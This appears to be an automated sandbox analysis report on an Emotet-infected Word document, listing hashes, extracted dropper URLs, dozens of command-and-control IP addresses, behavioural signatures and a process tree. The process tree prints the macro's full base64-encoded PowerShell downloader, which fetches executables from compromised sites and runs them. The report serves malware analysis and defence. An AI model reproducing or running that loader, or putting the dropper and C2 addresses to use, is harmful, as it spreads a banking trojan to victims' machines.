emotet | beb3a4338e5cd0df1a85ba4ac351d34f7f5c92cdce5fe6ab6749cfbd047b626d

Analysis

max time kernel
136s
max time network
144s
platform
windows10_x64
resource
win10v200722
submitted
19/08/2020, 23:30

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General

Target
emotet_e3_beb3a4338e5cd0df1a85ba4ac351d34f7f5c92cdce5fe6ab6749cfbd047b626d_2020-08-19__232854._doc.doc
Size 201KB
Sample200819-ccnxsejrfa
SHA256 beb3a4338e5cd0df1a85ba4ac351d34f7f5c92cdce5fe6ab6749cfbd047b626d
MD5 f597fa42a8ae8aaaf299ecd687cd282c
SHA1 588d5f7ed138428fd17e478d00ed5ba0a07a48cc
SHA512 25bbb8a3f110e26fd85365603ad550f1ed84099cac0e8f5d3a9d637f21b062378ac84f96ba8fa0b1c6af2536d32bce19740863d08d654ab7b31377e991a16d51
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://cahayu.id/wp-includes/jSi7Fd1r2wtg64969/
exe.dropper
https://anhung1102.vn/wp-admin/LtirUcNdN/
exe.dropper
https://idan-online.co.il/wp-admin/PPf124q2l26832/
exe.dropper
http://www.canfrec.com.mx/4swBvrmkkp/VqcoomQpd/
exe.dropper
http://dhartiproject.mysquare.in/temp/ZJd8p5u49737132/
exe.dropper
https://lokeshullamkecskemet.hu/mail/Jnilw/
exe.dropper
http://armonimalatya.com/dermatomic/77qo1g74024/

Extracted

Family

emotet

173.94.215.84:80
85.25.207.108:8080
178.128.14.92:8080
60.125.114.64:443
181.126.54.234:80
157.7.164.178:8081
95.216.205.155:8080
216.75.37.196:8080
179.62.238.49:80
71.57.180.213:80
172.96.190.154:8080
112.78.142.170:80
178.238.232.46:443
177.144.130.105:443
105.209.235.113:8080
46.105.131.68:8080
185.86.148.68:443
143.95.101.72:8080
75.127.14.170:8080
168.0.97.6:80
181.114.114.203:80
185.208.226.142:8080
201.235.10.215:80
177.32.8.85:80
37.46.129.215:8080
74.208.173.91:8080
190.212.140.6:80
202.5.47.71:80
41.185.29.128:8080
81.214.253.80:443
107.161.30.122:8080
46.32.229.152:8080
5.79.70.250:8080
115.79.195.246:80
113.161.148.81:80
179.5.118.12:80
178.33.167.120:8080
91.83.93.103:443
51.38.201.19:7080
185.142.236.163:443
118.70.15.19:8080
181.134.9.162:80
105.213.67.88:80
217.199.160.224:8080
192.210.217.94:8080
197.249.6.179:443
86.57.216.23:80
86.98.143.163:80
181.113.229.139:443
201.213.177.139:80
195.201.56.70:8080
172.105.78.244:8080
190.190.15.20:80
190.53.144.120:80
139.59.12.63:8080
87.106.231.60:8080
66.61.94.36:80
198.57.203.63:8080
177.37.81.212:443
192.241.220.183:8080
115.78.11.155:80
188.0.135.237:80
78.189.60.109:443
31.146.61.34:80
175.29.183.2:80
203.153.216.178:7080
181.137.229.1:80
188.251.213.180:443
177.94.227.143:80
192.163.221.191:8080
50.116.78.109:8080
197.221.158.162:80
139.99.157.213:8080
77.74.78.80:443
81.17.93.134:80
190.164.75.175:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1648	900	powersheLL.exe	66

Emotet Payload 5 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/4016-15-0x0000000000640000-0x000000000064C000-memory.dmp	emotet
behavioral2/memory/4016-15-0x0000000000640000-0x000000000064C000-memory.dmp	emotet
behavioral2/memory/2316-18-0x0000000000980000-0x000000000098C000-memory.dmp	emotet
behavioral2/memory/2316-18-0x0000000000980000-0x000000000098C000-memory.dmp	emotet
behavioral2/memory/4016-20-0x0000000000000000-mapping.dmp	emotet

ServiceHost packer 1 IoCs

Detects ServiceHost packer used for .NET malware

resource	yara_rule
behavioral2/memory/4016-20-0x0000000000000000-mapping.dmp	servicehost

Blacklisted process makes network request 1 IoCs

flow	pid	Process
6	1648	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
4016	R5mspzm.exe
2316	wsp_health.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\imagehlp\wsp_health.exe	R5mspzm.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2964	4016	WerFault.exe	71

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2196	WINWORD.EXE
2196	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
1648	powersheLL.exe
1648	powersheLL.exe
1648	powersheLL.exe
2316	wsp_health.exe
2316	wsp_health.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2964	WerFault.exe
2316	wsp_health.exe
2316	wsp_health.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1648	powersheLL.exe
Token: SeRestorePrivilege	2964	WerFault.exe
Token: SeBackupPrivilege	2964	WerFault.exe
Token: SeDebugPrivilege	2964	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2196	WINWORD.EXE
2196	WINWORD.EXE
2196	WINWORD.EXE
2196	WINWORD.EXE
2196	WINWORD.EXE
2196	WINWORD.EXE
2196	WINWORD.EXE
2196	WINWORD.EXE
2196	WINWORD.EXE
4016	R5mspzm.exe
4016	R5mspzm.exe
2316	wsp_health.exe
2316	wsp_health.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1648 wrote to memory of 4016	1648	powersheLL.exe	71
PID 1648 wrote to memory of 4016	1648	powersheLL.exe	71
PID 1648 wrote to memory of 4016	1648	powersheLL.exe	71
PID 4016 wrote to memory of 2316	4016	R5mspzm.exe	74
PID 4016 wrote to memory of 2316	4016	R5mspzm.exe	74
PID 4016 wrote to memory of 2316	4016	R5mspzm.exe	74

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_beb3a4338e5cd0df1a85ba4ac351d34f7f5c92cdce5fe6ab6749cfbd047b626d_2020-08-19__232854._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2196

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABaAG4AZgA3AG4AYgBrAD0AKAAnAEQAZwA1ACcAKwAnAHUAJwArACcAaQBkADYAJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQARQBOAHYAOgB0AEUAbQBQAFwATwBGAEYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAdQByAEkAVAB5AGAAUAByAGAAbwBUAE8AYwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAyACwAIAB0ACcAKwAnAGwAcwAxADEALAAgAHQAbAAnACsAJwBzACcAKQA7ACQAUABnAGIAdQB1AHkAcQAgAD0AIAAoACcAUgA1ACcAKwAnAG0AcwBwAHoAbQAnACkAOwAkAEEAMAB2ADcAawBzAGwAPQAoACcARgAnACsAJwBrAHYAYQBkACcAKwAnADIAdgAnACkAOwAkAFYAaABkAGYAZABuAF8APQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9ACcAKwAnAE8AZgBmAGkAJwArACcAYwBlADIAMAAxADkAewAwAH0AJwApAC0ARgBbAGMAaABBAHIAXQA5ADIAKQArACQAUABnAGIAdQB1AHkAcQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAWAA0AGEAOQB1AHAAXwA9ACgAJwBJAHYAJwArACcANwAyAGwAMAAyACcAKQA7ACQAUwBqADQAZwB6AHQANQA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAHQALgBXAEUAQgBjAGwASQBlAG4AVAA7ACQAUwBhAGcAZwBjAG0AYgA9ACgAJwBoAHQAJwArACcAdAAnACsAJwBwADoALwAvAGMAYQBoAGEAeQAnACsAJwB1AC4AaQBkAC8AdwBwAC0AaQBuAGMAbAAnACsAJwB1ACcAKwAnAGQAZQBzAC8AagBTAGkANwBGAGQAMQByADIAJwArACcAdwB0AGcANgAnACsAJwA0ADkANgA5AC8AKgBoAHQAJwArACcAdABwAHMAOgAvAC8AJwArACcAYQBuAGgAJwArACcAdQBuAGcAJwArACcAMQAxACcAKwAnADAAMgAuAHYAbgAvAHcAJwArACcAcAAtAGEAZABtAGkAbgAvAEwAdABpAHIAVQBjACcAKwAnAE4AZABOAC8AKgBoACcAKwAnAHQAdABwAHMAOgAvAC8AaQBkACcAKwAnAGEAbgAtAG8AbgAnACsAJwBsAGkAbgAnACsAJwBlAC4AYwBvAC4AaQBsAC8AdwBwAC0AYQBkAG0AJwArACcAaQBuAC8AJwArACcAUABQAGYAMQAyADQAcQAyAGwAMgA2ADgAMwAnACsAJwAyAC8AKgBoAHQAJwArACcAdABwADoALwAvAHcAdwB3AC4AJwArACcAYwBhAG4AZgByAGUAYwAuAGMAbwBtACcAKwAnAC4AJwArACcAbQB4AC8ANABzAHcAQgB2AHIAbQBrAGsAcAAnACsAJwAvAFYAcQBjAG8AbwBtAFEAcABkAC8AKgBoACcAKwAnAHQAdAAnACsAJwBwADoALwAnACsAJwAvACcAKwAnAGQAaABhAHIAdABpAHAAcgBvAGoAZQBjAHQALgBtAHkAJwArACcAcwAnACsAJwBxAHUAYQByAGUALgAnACsAJwBpAG4ALwB0ACcAKwAnAGUAbQBwAC8AWgBKAGQAOABwADUAdQA0ADkANwAzADcAMQAnACsAJwAzADIALwAnACsAJwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6AC8AJwArACcALwBsAG8AawBlAHMAaAAnACsAJwB1AGwAJwArACcAbABhACcAKwAnAG0AawAnACsAJwBlAGMAJwArACcAcwAnACsAJwBrAGUAbQBlAHQALgBoAHUALwBtACcAKwAnAGEAaQAnACsAJwBsAC8ASgBuAGkAbAB3AC8AKgBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoAJwArACcALwAvAGEAcgBtACcAKwAnAG8AJwArACcAbgBpAG0AJwArACcAYQAnACsAJwBsAGEAJwArACcAdAB5AGEALgBjACcAKwAnAG8AbQAnACsAJwAvAGQAZQByACcAKwAnAG0AYQB0AG8AJwArACcAbQBpAGMALwA3ACcAKwAnADcAcQAnACsAJwBvACcAKwAnADEAZwA3ADQAMAAyADQAJwArACcALwAnACkALgAiAFMAUABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQA0ADYAcAByAHAAXwA9ACgAJwBXAG4AbgA5ACcAKwAnAHQAJwArACcANQBvACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEMAeQBxAHUAbwBpAHcAIABpAG4AIAAkAFMAYQBnAGcAYwBtAGIAKQB7AHQAcgB5AHsAJABTAGoANABnAHoAdAA1AC4AIgBkAE8AdwBgAE4AbABvAGEARABgAEYAaQBsAGUAIgAoACQAQwB5AHEAdQBvAGkAdwAsACAAJABWAGgAZABmAGQAbgBfACkAOwAkAEcAdQB1AHgAeQBwADQAPQAoACcAWgAnACsAJwBiAHQAMQB4AHUAJwArACcAZQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAVgBoAGQAZgBkAG4AXwApAC4AIgBsAEUAbgBgAEcAVABoACIAIAAtAGcAZQAgADIANQAwADEAMQApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAZQAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACgAJABWAGgAZABmAGQAbgBfACkAOwAkAEgAXwBsADgAZwBsAHMAPQAoACcASgAnACsAJwBjAGcAYwBiAF8AcwAnACkAOwBiAHIAZQBhAGsAOwAkAFkAcgAyAG8AZQB4AHgAPQAoACcARgBxAHAANwBqAGEAJwArACcAbAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAcABqADYAYwBhAGQAPQAoACcAQgA1AGsAJwArACcAbQB3AHUAOQAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1648
- C:\Users\Admin\AppData\Local\Temp\Office2019\R5mspzm.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\R5mspzm.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4016
- - C:\Windows\SysWOW64\imagehlp\wsp_health.exe
    "C:\Windows\SysWOW64\imagehlp\wsp_health.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2316
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4016 -s 292
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2964

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1648-9-0x00007FFA92CB0000-0x00007FFA9369C000-memory.dmp

Download

memory/1648-11-0x0000016EB43A0000-0x0000016EB43A1000-memory.dmp

Download

memory/1648-10-0x0000016EB41F0000-0x0000016EB41F1000-memory.dmp

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memory/2196-5-0x0000025F2E60A000-0x0000025F2E60F000-memory.dmp

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memory/2196-4-0x0000025F2E3A1000-0x0000025F2E3AD000-memory.dmp

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memory/2196-8-0x0000025F2E60A000-0x0000025F2E60F000-memory.dmp

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memory/2196-6-0x0000025F2E60A000-0x0000025F2E60F000-memory.dmp

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memory/2196-0-0x00007FFA9A060000-0x00007FFA9A726000-memory.dmp

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memory/2196-3-0x0000025F2E3A1000-0x0000025F2E3AD000-memory.dmp

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memory/2196-2-0x0000025F2E3A1000-0x0000025F2E3AD000-memory.dmp

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memory/2196-7-0x0000025F2E608000-0x0000025F2E60A000-memory.dmp

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memory/2196-1-0x0000025F2E3A1000-0x0000025F2E3AD000-memory.dmp

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memory/2316-18-0x0000000000980000-0x000000000098C000-memory.dmp

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memory/2964-19-0x0000000005040000-0x0000000005041000-memory.dmp

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memory/2964-21-0x0000000005670000-0x0000000005671000-memory.dmp

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memory/4016-15-0x0000000000640000-0x000000000064C000-memory.dmp

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